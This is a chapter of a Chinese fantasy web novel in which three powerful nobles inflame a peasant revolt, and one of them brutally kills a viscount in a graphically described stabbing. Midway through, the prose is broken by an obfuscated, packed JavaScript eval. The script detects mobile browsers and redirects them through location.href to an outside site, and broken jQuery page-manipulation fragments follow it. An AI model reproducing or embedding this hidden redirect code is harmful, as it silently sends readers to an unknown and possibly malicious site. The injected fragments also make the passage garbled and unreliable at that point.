在踏入德克斯特子爵领地的时候，便能轻松察觉到这里发生着外界无法理解的一切。


    某种麻木从那些平凡的面孔上消失了，取而代之的是一种兴奋中混合着恐惧的、扭曲的面庞。他们的眼神传递着非凡的神采，仿佛终于找到了自己生命的意义，正如信徒直面神时的那种狂热。这种隐秘的狂热像蜜水一样在他们之间流淌，宛若狗舔舐地上的食物残渣，发出哼哧哼哧的声响。


    真是刺耳极了。


    艾希好奇地左顾右盼，这样的人是她从未见过的。卡罗尔皱着眉，往后走了两步，选择离这些怪模怪样的人更远一些。他下意识想抽出帕巾捂住口鼻，但发现现在的衣服没有这种贵族专属的小东西后，只能悻悻收手。


    艾希打量了一番后，很快又失去了兴趣。


    “看起来就是普通的狂信徒。”艾希失望地说。


    被某种东西蒙蔽了双眼，甚至连狂信徒都不如，只是一种短暂的狂热。要不了多久，他们就会重新低下脑袋，明白若非神予之物，一切都如镜中花一般虚无。


    这些人连一分眼色也没有分给来到领地中的三人，自顾自地从他们面前走过去了。


    “真是奇景。”伊西斯津津有味地打量着这些人，直到艾希拽着她的袖子，嘟囔着说要找德克斯特子爵谈谈他领地的怪象。


    这些小贵族们对艾希向来言听计从，只要见到了他们本人，她就能命令他们做几乎是任何事。实际上，艾希就是打着一旦找到了祭祀异神的证据和这些贵族们有一点些微的关联，她就上门深入谈话的主意来的。


    艾希的想法确实没错，只要见到了子爵，凭借他们的实力……


    “别急啊，”伊西斯笑吟吟地拉住艾希，“这样难得一见的景致，你竟然想把它扼杀在摇篮里吗？”


    如果这场乱子太快结束，那不就显得他们的作用微不足道了吗？


    卡罗尔的眼睛亮了起来，他看着伊西斯，露出了钦佩的神情，随后是跃跃欲试。


    艾希迟疑了一下，“好吧，”她说，“但我不觉得这些人能做出什么让我感到有意思的事来。”


    伊西斯捞来了一顶破烂的帽子，用力扣在艾希脑袋上。


    “别急，会有意思的。”


    这场蓄谋已久的叛乱不限于折锋城也不限于德克斯特子爵的领地，在折锋城之外，人们还沉浸在听到某些风声的默契中。此时城中突然爆发了一场喧闹的骚乱，就连城中其他普通人也感到茫然。


    旗子被拼命摇晃起来，号手卖力吹起号角，慌乱的普通人甚至还以为是冬季的魔兽潮提前攻城。路人惊慌失措地叫着，混杂着孩子的哭喊声，所有人瞬间挤作一团。远方隐隐能听见士兵们喊着什么“欺骗”，但这时候什么都听不清了，杂乱的声音充斥着脑袋，浑浑噩噩的各自往前冲着，试图找到一条出路。


    这样史无前例的混乱，就是被神封存的纷争、可怕的毁天灭地的灾难？看起来更像是一场滑稽戏，一群小丑闹闹腾腾的在场子里乱撞，用哭喊逗乐台下的观众。


    “德克斯特子爵蓄意欺骗了我们，我们为我们自己抗争，为正义，为摧毁限制我们的一切而战！”不远处，愤怒的士兵们嘶吼着。


    艾希站在高楼上看着下面被分割成两部分的奇怪场景，哈哈大笑起来。


    “太有趣了，伊西斯！瞧瞧他们，就连想要背叛他们的主人都这样乱作一团，就像瘸子指挥不动他的坏腿！”


    他们三个人换掉了显眼的好衣服，装作普通人的样子混进了折锋城。


    伊西斯压低了帽檐，勾起一个笑。


    “是我们对教廷的反抗开始了！”混乱的人群中，有人喃喃着。很快，更多人想到了这个心照不宣的秘密，他们望着远处飘扬的旗帜，逐渐镇定下来。


    “是德克斯特子爵背叛了我们，他和奥布里子爵一起筹谋，想用我们的命来填上他们晋爵的路，想要拿到镇压叛乱的泼天功劳！这是我们的反抗，我们的复仇——绝不能让他得逞！杀了他！”


    那声音破了音，声嘶力竭地吼叫着，蕴藏着无助的愤怒，像一个独自面对猛兽的匹夫。


    背叛……？


    仿佛被抽走了主心骨，他们呆呆地对视。


    没有纹章者参与，怎么可能赢过那些庞然大物。


    神采从眼中消失了，甚至有人扑倒在地上，高声颂起神名，手指不停地画着十字，祈求神原谅这些可怕的人。


    也有人红着眼睛冲进队伍中，准备一起前往子爵府邸，杀死这个恶毒的叛徒。他们已经被冲昏了头脑，完全想不到自己和纹章者们的差距，只是一种梦想破碎后留下的执念撑着他们往前走。


    教堂边，修士们牢牢拱卫住教堂，不让混乱的人群冲进教堂里。他们铁面无私地拦住了祈求一席安静地方的母亲，冷冷看着信徒们跪在教堂面前祈祷。神父早早躲进教堂里，听着外面纷纷扰扰的打砸声，像冰雹砸向琉璃窗那样劈里啪啦的。


    “死亡的女神，重生的女神莫拉娜将庇佑我们！”穿过这些熙熙攘攘的人群，复仇者们在癫狂的人群中喊着。


    “我们算是来晚了吗？”卡罗尔有些遗憾，“一切都已经发生了。”


    “怎么会，”伊西斯说，“我们来得正好。”


    她带着两人跟上前往子爵府邸的部队，自然而然的融入这支陌生的队伍，走在人群中高声呼喊着，“我曾亲眼觐见女神留下的神迹，属于我们北境的女神已经苏醒，正注视着这片土地！她会赠与勇敢者赐福，给予背叛者惩罚！如今阴谋被揭露，正是来自女神的启示，她将助我们杀死背叛者，勇敢前进吧，同袍们！”


    她的话就像给这支散乱的队伍注入了一针强心剂，一旦想到北境的荣誉，旧神的荣光，所有人都情不自禁地挺起胸膛。


    “杀死那些背叛者！”


    他们气势汹汹地向前冲去。


    这场乱子开始的太匆忙了，伊西斯想。她到了折锋城以后，才知道原来那些贵族们居然是打着用镇压叛乱给自己铺路的主意。


    但这些漏勺们蠢得过分，铺垫了这么多年的阴谋，居然最后变成了指向自己的刀，这不是很可笑吗？


    不过她还可以让事情对她更有利一些。


    要把事情闹大，最好多死几个贵族，才更引人注目。


    小打小闹可没什么意义……


    她温柔地拉住艾希，将她的帽子摘下，梳理她洁白的长发，为她披上白色的袍子。艾希睁着蓝色的眸子看着她，任由她的动作，就像一个漂亮的娃娃。


    “你觉得他们能赢吗？”伊西斯说。


    “以卵击石。”艾希说。


    卡罗尔目光灼灼地看着伊西斯，伊西斯笑了笑。


    “刺杀……”，卡罗尔若有所悟，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108857|164433||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “我们要让局势更加混乱起来！”


    真是疯狂的计划！他居然在一个眼神中读懂了伊西斯的想法，凡人激荡的氛围让他感到一阵热血上头，而在这种乱局中，不论他们做出什么举动，谁也不会发现、谁也无法惩罚他们！在此时此刻，他们宛如裁决的神明一般，可以轻而易举地推动天平。


    他们无需站在任何一方，因为他们就是最强大的一方！


    “就是这样，艾希，”伊西斯拽着艾希的领子，她们的脸靠得很近，伊西斯的眼睛仿佛深不见底的黑洞，带着散漫的癫狂，“我们去刺杀德克斯特子爵，让事情闹得更大些吧！”


    这种狂妄深深吸引了艾希。


    “如你所愿，西西。”


    她抽出刀，划开了自己的手掌。鲜血从手心滚落，无声的气浪以她为圆心冲开，白色的袍子伴着雪白的头发在风中飞舞。她以极快的速度在空中跳跃，所过之处激起一片凡人的惊呼。


    “白色的女神……是莫拉娜女神出现了！她向着子爵的府邸去了……她要帮我们！莫拉娜女神在上！她将为叛徒带去死亡！”


    狂乱的欢呼声响彻天际，胜利的女神已将果实垂青于凡人。


    “我们走，卡罗尔。”伊西斯说，“散布谣言，鼓动人心，想必出身王都的你也很擅长吧？我们也得藏好身份，我还不想日后成为英雄的时候，被指证是这场灾难的元凶。”


    “所以，我们是共犯。”卡罗尔低低地笑，“你看我看得非常准，我确实需要这个。合作愉快，我很钦佩你，伊西斯小姐。”


    在彼此的眼中，他们看见了同样旺盛的野心。


    我们会是很好的伙伴，卡罗尔想。


    他从未想过，原来离开王都之后，反而会碰上如此志同道合的人。


    这样狂妄的神采，这样大胆的想法，让他激动的手都在颤抖。他突然意识到他已经摆脱了王都的条条框框，如今的世界正是一个可以放手施为的自由世界。


    他不用再掩盖自己的想法、自己的才华，这里没有人会嫉妒他，他可以大声的为一个绝妙的主意欢呼！


    艾希一手扶着窗框，一脚踩在窗沿上。德克斯特子爵惊恐地看着这个从天而降的一身洁白的少女，他已经听到了外面疯狂的呼喊声，双腿颤抖着，牢牢握住一支小巧的魔纹枪。


    “你就用这种玩具？”


    “你是……你是……”子爵的视线落在了她血淋淋的左臂上，鲜血如泉水滚落在地毯上。


    “你不是什么莫拉娜女神，你是奥尔科特！你要做什么！公爵不会让你杀了我的！你想做什么，艾希·奥尔科特！”


    德克斯特子爵惨叫起来，简直不像是人类能发出的叫声，恐惧已经完全控制了他。


    “你瞧你在说什么啊，”艾希冰冷的蓝瞳凝视着他，“报出我的名字，就这么迫不及待的想死了吗？”


    她将刀捅进子爵的嘴里，感受着割在骨头上咔嚓咔嚓的滞涩感，猛地用力，特制的刀尖捅穿了子爵的脑袋。子爵试图反抗，但被艾希轻松压住了手脚，就像孩童面对大人一般无力。


    “真是难杀……”艾希嘀咕着，“你也没有魔晶给我挖，怎么才能死得干净一点呢？”


    德克斯特子爵发出呼哧呼哧的声响，像一个破风箱。他瞪大了眼睛，直到纹章赋予他的强大生命力也无法支撑，那双眼睛终于暗了下去。